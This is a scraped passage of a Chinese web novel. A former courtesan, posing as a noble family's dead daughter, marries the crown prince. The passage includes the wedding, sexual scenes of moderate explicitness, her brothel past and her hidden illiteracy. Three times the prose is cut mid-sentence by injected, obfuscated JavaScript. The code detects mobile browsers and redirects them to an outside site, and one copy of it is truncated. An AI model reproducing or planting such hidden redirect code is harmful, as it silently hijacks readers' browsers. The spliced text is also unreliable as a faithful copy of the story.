尹采绿享受着一切,抚摸着嫁衣上的金线和珍珠,心中喜意极盛,发誓定要侍奉好太子。 在无人看见的地方,她眼中光芒流转,溢出几分风情来,一抹淡笑挂在唇角,说不尽的温柔与妩媚。 婚前一夜,崔婉清来了。 崔婉清又从头到尾细细打量她。 脸如银盆,眼若水杏,有时会平白透出几分风流来。 平时罕言寡语,倒是乖顺。 捡到她时,她浑身都灰扑扑的,若不是那双眼生得实在熟悉,崔婉清绝对注意不到她的。 带她洗净了脸,才发现是这么水灵的一个人儿。 崔婉清没问过其他的,当初见到她便被让她代替自己女儿做太子妃的想法冲昏了头,对方倒也是配合得很。 无论她是生来就流浪的乞丐,还是谁家流落出来的女儿,还是有些别的什么境遇,她都没问过。 现在回想起来,当初实在是有些莽撞了。 但,薛家和崔家出了个太子妃,难道不比什么都重要吗。 事已至此,索性什么也不问了,问出来也无路可退,她只能嫁。 “你是个机灵的,我不问你从前,但你应当知道,遇到事情该怎么解决。” 尹采绿眼珠子盯在地上转了转,点头。 薛夫人蹙着眉想了一会儿,终是迟疑问道:“可需要我提前替你备上血包一类的?” 7. 大婚 尹采绿永远记得这一日,初夏薄雾氤氲,天空杨柳依依。 她穿着凤冠霞帔,由人前后簇拥着。 管家丁瑞带着管家媳妇指挥下人,丝毫不杂乱,无论是前院小厮,还是后院仆妇,每个人都有秩序地忙碌着。 薛明澜捏拳站在静竹苑外的一汪小池边,独自一人望着池面发呆。 直到有人喊他:“大公子快来背二小姐出嫁了。” 薛明澜看着由仆妇扶出来的,身穿嫁衣、头盖盖头的“妹妹”,逐渐蹲下身子。 妹妹伏在他背上的一瞬,薛明澜腰往下坠了一寸。 他捏紧拳,咬紧了牙小声道:“记住你的任务,否则我不会放过你。” 这个女人占了他妹妹的身份和位置,就该帮家里做事。 尹采绿默不作声,崔婉清事先同她说过,之后家里若有什么要吩咐她的,会通过她的陪房丫鬟翠影和竹萱与她说。 她心里感激薛家,薛家人待她还挺好的,又给吃,又给穿,又叫上七八个丫鬟伺候她,不过是让她帮忙做些事而已。 只是,这个大公子有些讨厌,有话也不知好好与她说,动不动就威胁。 尹采绿早不是刚来薛家那般怕他了,做什么人仗什么势,她是极为清楚的。 只嘴上答应着他,心里却想着,薛家谁待她好她便帮谁,谁待她不好她就装傻充愣。 讨厌归讨厌,这人还是将她背到了太子妃的轿撵上,稳稳放下了。 薛家旁支的几位小姐都艳羡地望着二姐,薛二夫人盯在尹采绿身上的眼睛都快把人给盯穿了。 殷切道:“二小姐可要记得二伯母,常回来看望二伯母啊。” 尹采绿盖在盖头底下的唇勾起来笑,朝着声音的方向点了点头。 薛家今日来了好多客人,往常很久未接触过的亲朋好友都纷纷前来祝贺。 薛兴昌许久没这么风光过了,崔婉清倒还淡定,自她嫁入侯府以来,侯府日渐式微,父兄都说她是低嫁了。 可为了儿子,还不是得在这落败侯府费心经营下去。 眼下正扬着笑招呼客人。 皇宫里今日也并不清净,皇帝一早遣官告祭天、地、太庙后殿,到奉天殿告以册立之事。 今日难得将贵妃拦在了太和殿外,皇帝独自到皇后的牌位前,说了会儿话。 迎亲队伍抵达侯府,太子长身玉立,眉眼温润,站于侯府门前迎候。 周围百姓、勋贵皆站在一处观礼。 太子唇色浅淡,不笑时亦显温和。 百姓皆议论:“太子最是仁善不过,只是不知太子妃是何等人物?” “你不知道,但我从陇州来,要我说,太子妃也是仙子一般的人物。” 太子头戴玄色织金旒冠,十二串白玉珠垂落额前,面目更添几分庄重。 望见太子妃身影时,他往前迈出半步,眼底盈上一丝温柔笑意。 鼓乐声奏得越发喜庆,快要震碎尹采绿的耳膜,但她垂眸含笑,以前从未想过,自己有一日会嫁人呢。 二人要先进皇宫去,在太和殿举行大婚典礼,再回太子府去,饮合卺酒、圆房。 太子骑在马上,太子妃乘坐轿撵,薛家众人目送他们远去,随后继续招待自家宴席。 烈日当空,尹采绿虽着华服,也实在觉得今日过得难受。 她在太和殿前,与太子一起走了很长的阶梯。 他们拜了天地和皇帝,官员宣读册文,授予她太子妃册宝。 再拜过皇帝,二人并肩回太子府。 太子府上宴席继续。 下轿撵之前,太子朝她伸出手。 尹采绿回想起那日那位内侍呵斥她的场面,一时间还不敢把手伸出去。 手搁在轿帘处犹犹豫豫的,太子一把握住了她。 三皇子赵渊和寻常不出门的四皇子赵沱也来喝喜酒。 尹采绿盖着盖头,看不清周围,正小心翼翼走着呢,被人拦住了去路。 “皇兄,皇嫂,臣弟母妃托臣弟送了新婚贺礼来,还请手下。。” 太子没松开太子妃的手,温和说道:“三弟,贺礼交给门口的礼官便是,孤还要送太子妃回房,便不与你寒暄了。” 说完,三皇子还欲挡路,被文文挡在了一旁。 四皇子赵佗结结巴巴道:“太子哥哥,祝,祝你新婚大喜。” 赵清摸了摸他的头:“去席上坐着吃吧。” 尹采绿感觉到太子握她手的力度变紧了些,那人在她耳边轻声道:“别怕。” 他拉着她的手穿过宾客,穿过游廊。 尹采绿心里在想,他叫她别怕什么? 自她随崔景生进京以来,虽每日都尽力打量身边人,可还是有许多摸不清的东西,看不懂,便不看了。 她便不知道,太子是叫她别怕三皇子。 除了她无人不知,那是太子府的对家,他们以后的敌人。 太子带她进了后院儿,这里早有好些女眷候着了。 唐洪辉的妻子和女儿,太子让尹采绿称呼她们为舅母和玉姐姐。 尹采绿便称:“舅母、玉姐姐。” 唐夫人和唐双玉忙回礼:“拜见太子妃。” 另有太傅夫人、兵部尚书夫人、瑞王府的王妃等人在场。 赵清心想,她今日见过了这些人,便应当知道京中有哪些官员属太子党了。 尹采绿挨个打完招呼,她知道了,京中现在流行梳牡丹髻,梳在头顶虚虚拢拢的,无论是簪花还是簪步摇,一片看去,都显得贵气极了。 在场一片欢喜氛围,在众人起哄声中,太子先是挑了太子妃的盖头,与太子妃饮了合卺酒。 随后太子到前院交际去了,将太子妃交由后院一众女眷陪同。 尹采绿先还有些腼腆,不知与大家说些什么,好在都知她寡言少语,是娴静之态,也不吵扰她。 大家围在一起吃了一桌席,夜色便深了。 后院女眷陆续走了,在太子回房之前,尹采绿被嬷嬷搀扶着,进浴房沐浴。 嬷嬷剥去她的衣服,尹采绿还有些羞涩,夏日天不凉,她光着身子站了一会儿,虚虚拢着双臂。 嬷嬷调好水温,往浴桶里滴了精油,又撒上花瓣。 尹采绿默默看着,只觉得这太子妃沐浴可真是精细。 另有两个负责搓澡的丫鬟。 嬷嬷本还担心太子妃害羞,不愿让人伺候着沐浴。 眼前女子倒还好,由着人将她引进了浴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529047|170790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桶里。 两条腿一迈,人便坐进去了。 一旁熏着香,尹采绿闻着熟悉,是她往常惯用的依兰香,原来这太子府里也有。 太子妃身周伺候的人多,翠影与竹萱两个一时都没挤进去。 将尹采绿洗得又白又香,给她裹上一件高开叉的丝质长袍,薄薄一层,透过烛光能看见两条弯弯的腰线。 众人拢着拥着,将她围到了床头,撒下鸳鸯帐,将尹采绿的面容隔上一层如雾的红纱,更添几分旖旎风情。 “太子妃在此等候太子归来便是,奴婢们先退下了。” 几人退去时,翠影落后了一步。 她还有些事情要嘱咐尹采绿的。 翠影立在床头,面容严肃。 尹采绿却没心思听她说话,她满心里想着念着,待会儿要如何伺候太子呢。 “能替我们小姐与太子成婚,是你的福气,勿要因此放浪形骸,你须得记住,你永远是我们薛家的人,永远得听我们夫人和侯爷的吩咐……” 翠影还没说完话,门外传来一阵脚步声,是太子回来了,她匆匆退去。 赵清今日没喝太多,文文早已把他壶中的酒换成了水,只浅喝了两杯酒,好让嘴里有一层酒味。 与太子妃敦伦之事,他也有些紧张,嬷嬷头天晚上教过他一些,他大体也明白事情是个什么样的章程。 进了屋,合上门,朝床帐里看去,那是道影影绰绰的倩影。 “静蕴。” 他开口,声音低沉,唤她闺名。 过了一会儿,尹采绿才意识到太子是在叫她。 她抬起头,透过帐帘看他,太子容貌俊美,身姿欣长,体态端方,面上一双唇生得精致,眉眼温和。 “嗯。” “孤先去沐浴,你可先歇下。” 总坐在那儿,腰也累了。 “是。” 尹采绿没拒绝他的好意,待他走去浴室后,她两条腿往后一缩,便进了被窝。 她躺在里侧,眨眨眼,望着房中的一切,只觉自己的日子真是好起来了。 太子没让她等太久,很快便回来了。 灯烛一灭,房内陷入了极度的寂静与黑暗。 尹采绿听到太子上床的声音,随后感受到身侧的体温。 他躺得稍远,与她同盖一床绣鸳鸯的喜被。 尹采绿寻思着,现在应当开始了,便翻身而起,腿一伸,正要往太子腰上跨去。 与此同时,赵清也支起了上半身,伸手按住她肩膀。 尹采绿寻思,他应当是想自己来。 无论是对方自己来,还是要她来,她都是可以的。 无非是在上还是在下的区别。 太子应是喜欢自己主导的类型,妈妈教过,这类客人在此事上往往很有自己的主见,更偏好乖顺被动的女子,尹采绿便乖乖躺回去了。 可她等了一会儿,太子除了刚开始碰了下她的肩,便没再碰她了。 又等了一会儿,身旁还是没动静,尹采绿有些没耐心了。 “殿下。”她张口,轻轻软软的声音飘进赵清耳朵里。 后来她听见太子叹了声气,似是做了什么决定,随后才挺身而起,将她压在了身下。 8. 温公子 黑夜中尹采绿的双眼亮得出奇。 太子双臂支在她身侧,尹采绿又等了一会儿,他才俯下身来。 太黑了,尹采绿往上仰了仰头,才叫他挟住了自己的唇。 太子妃腰间的系带极容易被解开,没有让赵清遇到什么为难的事情。 尹采绿觉得太子的唇果真如同看到的那样,很软。 他亲吻的动作有些生涩,尹采绿忍不住想引导他一下,却又害怕自己太过主动,引起他的不喜。 毕竟之前推断过,太子应是喜欢乖顺被动的女子。 他亲吻得很轻浅,时不时会回想一下嬷嬷说的。 下一个动作该是什么。 剥开衣物后,他手掌抚上她的腰,尹采绿感受到他的掌心很烫,极轻微地在发颤。 她好几次有想引导他一下,无论是他的唇舌,还是他的手。 可她抬起手来,忍了忍还是放下了。 男人自尊心很强的,不能让他知道自己察觉到了他的生涩。 他越是不会,她便越把自己表现得像个木头。 直到那双唇在她唇上印了许久,嘴皮子还在轻颤。 尹采绿借着一声轻哼。 “啊~” 顺势张开了唇。 赵清的唇便一下印上了她的门牙,湿漉漉的。 后来,尹采绿在他手里的腰只是往上挺了一下,太子先是鼻子呼了声气,随后舌尖便落了进来。 她眼尾带笑,狐狸眼扑闪扑闪,妈妈教的没错,瞧啊,男人天生就会的嘛。 赵清闭上眼,便不再迟疑了,按照嬷嬷教的步骤,或许,这其中也有一些由自己欲望主导的部分,总之是把事情给办了。 他再一次觉得,太子妃很好,太子妃甚好,母后为他选的太子妃极好。 太子动作虽生涩,可太子实在温柔,尹采绿歇下时,也觉得太子甚好,一点也没弄疼她。 半夜总共叫了两次水。 尹采绿觉得量刚刚好,一点不累,甚至再来一次她也承得住的。 玉笙楼是江南顶讲究的楼,非达官贵人、文人墨客不接,楼中姐妹皆以才艺见长,尹采绿也是靠着一手琵琶和一支绿腰舞出了名,并非以卖、身为主。 更何况采绿娘子还未及笄,元夜便被抬上了天价。 那数字只是众人哄抬的象征,妈妈为玉笙楼造的势。 甚至在摆出价码之前,尹采绿还主动联系了几位旧客,叫他们到时候捧捧场,多出出价。 越是这样,妈妈越是将她藏着掖着,只待客,不渡春宵,以便待价而沽。 价越来越高,久而久之,尹采绿光是将技巧学了个十足。 而那些文人墨客,推崇采绿娘子的舞和琴,也喜欢与采绿娘子邀酒喝,喝醉了拉拉小手,搂搂小腰,亲亲芳泽,也是有的。 可若是谁说要买了采绿娘子的元夜,必要被人嘲笑粗鄙的。 文人圈子里处红颜,是有底线在的。 毕竟常言道:“君子色而不淫,发乎情,止乎礼。” 读书人讲究这个,摸摸小手也就罢了。 没人会拆穿,实际是因为这些读书人根本掏不起妈妈挂出来的那一串数字。 至于达官贵人,稍微自重些的,也不是谁都瞧得上的。 在楼里往往是固定的关系,不乱来的。 采绿娘子的牌子挂了许久,终于有一位姓温的公子出了打破之前所有数额的高价。 尹采绿本以为妈妈还要再把价码往上抬一抬,毕竟她年纪刚到,就算再等两年也是正好的。 可妈妈当天就收了温公子的银子,还特地为她与温公子定了吉日。 温公子为人仪表堂堂,从前就是尹采绿的常客,熟人好办事,尹采绿见是他,也松了口气。 可在那吉日到来之前,妈妈竟卷着钱跑了,当天晚上,玉笙楼就来了一队官兵,尹采绿也不是傻的,趁着乱往脸上抹了一把泥,抱着琵琶便跑了出去。 如今想想,还挺对不起温公子的呢,叫他白出了钱。 可钱也没到尹采绿手上。 千想万想,尹采绿还是觉得侥幸的,若有的选,哪个女子想把自己用银子来交换呢。 只是在注定要有一位客人买下她的前提下,她庆幸那位是她并不讨厌的温公子。 今夜很快进入了梦乡。 尹采绿第二天醒来时,太子已经不在了。 她有些懊恼,怎的忘了起来侍奉太子晨起。 见她醒了,翠影率先掀帘进来:“如何?” 待瞧见尹采绿粉颊残红,腰肢慵懒地舒展,鸦青色的长发散落枕畔,眉间犹带三分娇媚,翠影心里怪不舒服。 自己小姐如今正埋在黄土堆里,连家也不能回。 尹采绿撑起身躯,倚着软垫打了个绵长的哈欠。 如何?她对自己甚是满意,虽说那学了七八年的技巧一点也没用上,但太子看上去很喜欢她。 太子喜欢呆愣愣的,木头一样的她。 毕竟昨晚她当真躺着一动不动,太子却钻研她钻研得仔细,手掌上上下下的,好似喜欢得紧。 翠影道:“小心待会儿太子府的嬷嬷来了,瞧见你这副模样。” 尹采绿不以为意,太子府的嬷嬷早来过了,将她翻了个身,捡走她身下的床单,又叫她继续睡,说:“太子吩咐过的,太子妃想睡到何时都可以。” 至于那床单嘛,尹采绿不知自己如何,毕竟以往的姐妹也有不落红的,还被客人叫嚣着退钱,以防万一,她便还是将薛夫人给的血包给用上了。 殷红红一大片,那嬷嬷见了别提有多高兴了,愈发体恤太子妃,叫她好好休息。 走时还捧着床单偷笑:没想到自己看着长大的,斯斯文文的,从来都是温声细语的太子,在帐子里竟有这般功夫。 老嬷嬷与有荣焉,看样子这皇长孙,必然是在太子府出世。 太子府的人都完全听命于太子,绝不会有什么仗着资历的老嬷嬷出来训斥太子妃晚起失礼。 翠影一直盯着她,尹采绿有些遭不住她这样看,便从床上起来了。 铜镜前,她歪着头任由侍女梳头,太子府上给了她两个侍女,一个叫善和,一个叫善静。 现在给她梳头的正是善静。 尹采绿想起昨日见过的牡丹髻,忙道:“便梳个牡丹髻吧。” 善静不发一句多言,应了声“是”,便开始熟练动手。 善静是个极为手巧的丫鬟,头梳得尤其好。 因薛静蕴不爱铅华粉黛,尹采绿自从到了薛府,便从未化过妆。 她从前最爱飞霞妆、慵来妆,跳舞的时候,画个落梅妆也是极好的。 有时候要陪客陪至酒酣耳热,化个酒晕妆正是绝美。 她院儿里丫鬟的一应安置,还是竹萱负责,翠影专负责盯她,平时是什么也不干的。 虽只给了她两个丫鬟,没有薛府那七八个丫鬟那般夸张,但不知怎的,被伺候起来倒让她觉得自己身份更加贵重了。 待梳洗好,太子府的管事嬷嬷来了。 “太子妃,府内事务今日内需全交代给您,这是太子吩咐老奴拿来的账本。” 尹采绿感到额头有些阵阵发昏。 看来当务之急,是先学会认字。 “府内可有教书先生?” 管事嬷嬷道:“太子妃要教书先生做什么?自太子及冠之后,府上再无先生了。” 尹采绿嘴快了些,就是府上有,她也不敢找人来教她呀,那不全露馅了。 翠影伸手接过账本:“嬷嬷先放这儿吧,太子妃之后会翻看的。” 待那嬷嬷走后,翠影便问她:“你是不是不会看账本?” 尹采绿点头,薛夫人也没教过她。 崔婉清本来是该教她管家事务的,可时间紧,任务重,没时间教她这些了。 索性就说薛静蕴自小就是个不谙世事的才女,只懂作诗画画,不懂管家算账,也无伤大雅。 翠影拿着账本道:“我帮你看吧。” 尹采绿觉得不妥,伸手挡住账本:“要不就直说吧,我今晚便告诉太子我不会。” 翠影蹙眉,她若要将账本拿走,太子妃也拦不住。 尹采绿有些生气,她不想让翠影拿走太子府的账本。 翠影却道:“你刚当上太子妃,便不顾我薛家的恩情了吗,你当心我回去告诉夫人。” 尹采绿只好松了手。 没有薛家,她便不是太子妃。 竹萱抵在门后,听得揪心。 翠影不该这么同太子妃说话,太子妃看起来不是不知感恩的人,将来待她在太子府站稳了脚跟,能帮到薛家的,必然也会帮的。 像这般掌控,怕是会适得其反。 但竹萱被夫人分配的任务不同,她平时不怎么多说话,只叹了声气,离开了。 尹采绿独自在太子府用了午饭、晚饭,午后小憩了一会儿,在太子府里转了转,陪同她的是太子府的老嬷嬷,还问她:“太子妃不多歇息会儿了?” 她摇摇头,对嬷嬷的关切感到十分欣喜。 到了傍晚,用过晚饭,被仆妇丫鬟们簇拥着准备回房点烛的时候,太子回来了。 先是那一长片的请太子安的声音,尹采绿回头看去,他刚由文文卸下蟒纹大氅,腰间玉带环佩轻晃。 广袖垂地,腰背如青松负雪,怎一个龙章凤姿可言。 他穿过回廊,绕过一道垂花门,见了她。 “可用过饭了?” 他朝她走来,缓行时珩璜相触,玉锵鸣也。 尹采绿站在廊下,见他在离自己三尺远的地方停下。 “回殿下,用过了。” 赵清点头,沉默了一会儿,又问道:“在这里住得可习惯?若不喜欢,可另挑一间院子住。” 尹采绿摇头,朝他抿唇笑:“这里很好。” 见她笑起来,赵清便也勾起唇角。 尹采绿微垂下头,作羞涩状。 赵清看了她一会儿,又道:“嬷嬷可与你说过管家事务了?” 尹采绿点头。 赵清觉得甚好,太子府当交由太子妃来管。 尹采绿又抬头:“殿下。” “嗯。”他负手站立。 他看她,齿如瓠犀,面如桃瓣。 “妾,妾不会管家。” 赵清眉头微蹙,语气温和地问她:“怎么不会呢?” “家里未曾教过。” 赵清倒是没想到这一点,太子妃怎会不懂管家,但太子妃聪慧,应当学得很快。 “孤让芳嬷嬷教你。” 尹采绿有些迟疑,她实在害怕自己不认字的事情被人发现了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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又看到,什么府中仆妇的亲戚去世了,给了四十两抚恤银子,尹采绿皱眉,这也给得太多了。 未免后续遇到事情,银子从她手上给出去多了,尹采绿决定趁夜到前院儿去问太子一趟。 太子妃一路上,自是没人敢拦她的。 三更的梆子刚敲过,府内大部分屋宅都熄了烛火,但尹采绿习惯晚睡,在玉笙楼的时候,这个时辰还热闹着呢,酒才一轮见底,刚到微醺。 太子还在见客,四周俱静,尹采绿抱着本子在书房门前等了会儿。 文文见她来了,忙举着灯笼来,道:“太子妃,怎的还不歇下,太子这边不知何时结束呢。” 太子见客见到五更天都是常有的事儿。 尹采绿摇头:“没事,这么早我也睡不着。” 见她站着,文文给她搬了把椅子来,正寻思着,要不要进去通报一声。 尹采绿拉住他:“别扰了他。” 文文挠挠头:“那,那行吧,那您就在这儿等着?可要吃些什么?喝些什么?” 尹采绿当真思索起来。 “这位公公,怎么称呼你呢?” 文文道:“太子妃跟太子一样,称呼奴才文文便好。” “文文,有酒吗?给我来一壶,再来一叠儿糟鹅掌。” 尹采绿从前是最爱伴着醉蟹下酒的,不过离了江南,她也知道,这地方没有那样好的吃食。 文文吃了一惊,还是没表现出来什么,得了主子吩咐,忙转身张罗去了。 回来的时候,银汉低垂,太子妃端坐在廊檐下的朱漆椅上,月白襦裙裹身,秾纤得中,修短合度。 “太子妃,吃食来了。” 尹采绿垂眸轻嗅了嗅,倒是好酒,文文没藏太子府里的好东西。 采绿娘子的酒量一向被称得上是可以的。 谁能将她灌醉了,在楼里也是一段佳话。 文文侍立在一旁,时而斜眼去看她,倒觉得,太子娶妻之事真是来得突然,莫名其妙的,晚上竟有一女子坐在书房门前饮酒。 廊下灯笼昏黄,一阵风拂过,酒液波涛流转,一口下肚,“嘎吱”一声,书房的门开了。 先是出来了一位年轻公子,见着她时,眸色亮了一瞬,好美的女子。 尹采绿眼尾已泛起微红。 紧接着太子出来,还未将年轻的探花郎送走,就见到了廊下的太子妃。 尹采绿连忙站起身,微醺了,俯身见过太子。 “太子妃,你在这里做什么?” 尹采绿答:“殿下,妾有事情要问。” 太子当务之急是将客人先送走,冷嘉实是极懂规矩的,连忙拜别了太子:“殿下不必相送,还请止步。” 随后见过了太子妃,匆匆离去。 “殿下的客人见完了吗?” “嗯?” 太子转头直视她,夜风掀起她眉梢尖的发,檐廊光影里,真真是风华绝代。 “见完了,你要问孤什么?” 太子妃深夜不睡觉,竟在廊下等着他,太子一时间不知该责怪她,还是责怪自己。 他伸手推开书房的门,对她道:“进来说。” 尹采绿抱着本子,稍稍弯腰,穿过他臂弯,进了那点着昏黄灯烛的、盈满了檀香味的书房。 9. 稳扎稳打 踏入其中,是一股浓郁墨香。 她的第一感觉是,这是一个独属于太子的,不属于她的地方。 便不免敛声屏息起来,但刚刚喝了几杯酒下肚,气息难免粗一些、热一些。 正中一张黄花梨大案,案上一方端砚,砚旁排列着几支湖笔。 案上堆叠着几本书,有一本极眼熟的,尹采绿心里一咯噔。 四壁皆有书架,书架旁摆着几个青花瓷瓶,瓶中几束已经干了的腊梅。 侧面设有屏风,屏风前设一矮几,几上香炉飘出青烟,烧的檀香。 “我是想问,是想问……”尹采绿侧头,问什么来着。 她看了一眼怀中的本子,又道:“想问,府上下人若有亲戚去世的,皆是给四十两抚恤银子吗?是否有些太多了。” 赵清看了她一会儿,叫她在黄花梨大案侧边的椅子上坐下。 “太子妃若有意见,改了便是,此事不必问孤。” 太子素来愿意体恤下人,遇到这样的事,都是多给的。 他捏了捏眉心,有些疲倦,坐在黄花梨大案后面的椅子上。 尹采绿摆手道:“妾没有什么意见,妾就是来问问。” 书房的窗外种着几株修竹,洒在地面上的光影时而晃动。 赵清答:“那就照例。” 可他又想起,何时府中下人的亲戚去世,给了四十两的。 他朝她伸出手:“拿来孤看看。” 尹采绿一边递给他一边指给他看:“殿下看,仆妇王嬷嬷的侄子去世了,便给了王嬷嬷四十两抚恤银子。” 赵清蹙着眉头看了一会儿,笑道:“瞧你,必是熬了这么晚的缘故,字都看漏了,看到这句话没,王嬷嬷的弟弟是咱们府上的马夫,王嬷嬷的侄子是家生子,抚恤银子自然要给得高一些。” “哦。”尹采绿有些尴尬,她不是看漏了,她是认不得那几个字。 她小心打量太子神色,太子好像没有怀疑。 太子唇角挂着笑,不知想到什么,伸手捡起桌上那本《玉屑集》。 尹采绿心里又是咯噔一声,不过刚刚喝了酒,胆子要比寻常大一些,随机应变就是了。 赵清其实是第一次翻开这本诗集,他头一次好奇起来,太子妃会写出什么样的诗。 太子妃在他的印象里,是极可爱的一个人,虽看上去极守规矩,内心必有另一番灵窍。 太子正要翻开,一只手又抚上了他的手背。 尹采绿站起身,走到太子身边,将他翻了一半的书,又盖了下去。 “殿下,这么晚了,就别看了。” 赵清翻过手背握住她的手,温和笑道:“那孤送太子妃回去。” 尹采绿觉得自己过来找他本就不该,又要他送自己回去,他明日还要早起上朝,更是不该。 便推脱开:“妾自己回去就行,太子要早些歇息。” 赵清怎会同意她独自回去,便坚持要送。 尹采绿将他按下:“不如,妾陪着太子,在此处歇下吧。” 想来想去,这倒是最好的办法了。 屏风后便是一张横榻,太子平日处理公务累了,便就直接在这里歇下了。 赵清无奈:“静蕴,不可如此。” 书房庄重清净,二人怎能一同歇息。 他拉住她的手,尹采绿又反应了一会儿,才意识到他在叫她。 看着她怔怔的模样,赵清又觉得她甚是可爱。 他闻到她身上的酒气。 “静蕴爱吃酒吗?” 尹采绿眨眨眼,她身上的酒气有那么重吗,不过喝了五六杯而已。 “有酒味吗?没有啊。” 赵清往后避了一些:“有的,有的,静蕴以后不要在有客的时候喝酒,以免,以免误事。” 尹采绿笑得腼腆,颊边凹出两颗梨涡:“妾酒量好着呢,不会误事。” 她伸手摩挲着太子的唇,索性埋头印了上去。 太子唇软,她印了重重一下,又松开,太子唇变得红了。 赵清脸腾地红了,太子妃若有此需求的话,来都来了,他也不好推开的。 太子妃身后正悬着“心正则笔正”五个大字。 尹采绿今日浑身溢出些风流天性来,赵清瞧着,她那双狐狸眼,明显是在勾着他的。 他往前了些,太子妃背抵在书案上,笔架上悬着的湖笔轻微晃了晃。 “太子妃,跟孤去榻上。” 尹采绿回头看了看桌上悬着的笔,点点头,又恢复了乖顺温和的模样。 太子站起身,拉着她的手,二人到了屏风后的榻上。 他将太子妃牵到榻边坐下,叫她稍等。 随后独自到书房内各个角落灭了灯。 尹采绿感觉到他凑上来,随后是一阵窸窸窣窣脱衣服的声音。 二人亲了一会儿,太子手挪到太子妃腰间,准备脱太子妃的衣服。 尹采绿忽地嘟囔道:“殿下不是说,书房里庄重清净,不可如此吗?” 赵清顿住手,是,往常是如此,但,但他也是头一回娶太子妃,这规矩自然能改。 只是这张榻正对着的墙上,还挂着一幅老子画像,赵清想着,每日一睁眼就能看见画像警醒自己,也挺好。 既然太子妃如此说了,赵清也不好再来,他起初还以为,是太子妃想的呢。 既然太子妃不想,“那便歇下吧。” 尹采绿往里侧挪了挪,太子躺在她身边,二人都躺得规矩。 赵清默念了一遍《道德经》,内心恢复了平和、宁静。 过了一会儿,尹采绿翻了个身,手搭在了太子的腰上。 酒气又萦绕上来,赵清翻身在上。 “太子妃,孤觉得,今晚规矩可废,你的意思是?” 尹采绿恍惚间睁开眼,看着自己身上的男人,以为是妈妈叫她睡醒起来待客了。 “哦,好。” 采绿娘子没有不应的。 直到太子的唇压下来,正想说这个不是这个价,她才清醒过来,哦,她今日的客人是太子。 太子甚好,太子甚好。 太子觉得太子妃很是温顺,腰也很软,每次当他感觉到动作顿塞之时,太子妃总会稍挪动一下,接下来的动作便很顺畅了,他与太子妃当真是天作之合。 尹采绿也十分享受,太子实在是温柔,就是有时候,温柔得太过了,倒叫她有时觉得寡淡了些。 太子喜欢稳扎稳打,虽慢了些,缓了些,但也有自己的节奏在。 有时她轻轻哼出声,明明是在表达畅意,太子却停下了,问她:“太子妃,可有何处不适?” 尹采绿摇头,她能承住更多的,但太子永远是舒缓而温和的,在经过漫长时间后,最后进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529049|170790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行完美的收尾,还不忘温声细语:“太子妃如何?没问题的话,孤叫水了。” 尹采绿点头:“嗯嗯,妾很好,殿下叫水吧。” 然后太子撤开护住她头的臂弯,从她身上起来,往外喊了声:“文文。” 随后文文在门口轻喊:“这就来。” 尹采绿泡在浴桶里时在想,实在不畅快,可太子又喜欢温顺的女子,她实在不好将“还差一点,殿下再用力些”这样的话说出口。 这一夜,两人并排睡得安稳,就是太子醒来时,见到老子画像,多少有些心虚。 “太子妃,明日该回门了,你今日去库房里随意挑礼物,孤明日陪你回去。” 说着,赵清将老子的画像撤了下来。 从书柜底下取出一张庄子画像挂了上去。 尹采绿疑惑看着他这一套动作,赵清便解释道:“顺应自然、放飞心灵。” 尹采绿还是不懂,这画像上的人是谁,其实她一点也不认识。 太子很快上朝去了,尹采绿也没在太子书房内多待。 芳嬷嬷和善静善和两个已经候在门外接她了。 本来太子妃随太子宿在何处都是有可能的,不必大惊小怪,到点了来接便是。 倒是太子行至府门口之时,正巧碰到了昨日收捡床单的刘嬷嬷。 刘嬷嬷见了太子,朝太子笑得欢喜:“殿下能干!” 赵清摸不着头脑:“嬷嬷指的何事?” 刘嬷嬷道:“太子妃的床单。” 她伸手比划了一下,“这么大一片呢。” 赵清愣在当场,耳朵尖红起来,同时又是万分自责,竟不知太子妃糟了那么大的罪。 “刘嬷嬷,为何不早说。” 若他早知道,早知道的话,昨晚定不会强迫她。 太子妃温顺如此,定是不会开口拒绝。 刘嬷嬷道:“昨天没碰见太子殿下,为着这事,老奴总不能专来找殿下一趟吧,总之啊,老奴觉得,这皇长孙定是出在咱们太子府的。” 赵清走的时候很沮丧,早知女子艰难,竟不知艰难至此。 芳嬷嬷照例给太子妃汇报今日事项安排,善和手上提着新的衣裳,善静手上提着梳妆的物件儿。 因着薛静蕴从前爱穿深色衣裳,太子府为她备的也都是深色衣裳。 什么深绿色、靛蓝色、石青色一类的。 尹采绿每次往身上穿,总要做做心理准备,她本人倒是喜欢鲜艳的。 “文文,太子妃的物件儿放在哪儿?” 文文听着善静这意思,倒是要把太子妃的起居物品常年搁置在太子书房里一套了。 文文皱着眉头,一脸为难:“太子寻常还要见客,不好放在这些地方。” 善和道:“可以后我们太子妃若要时常与太子歇在书房,难不成让我们每日搬腾这些东西吗?” 善静又道:“是呢,文文,太子如今有太子妃了,不同于以前了,你得想想办法。” 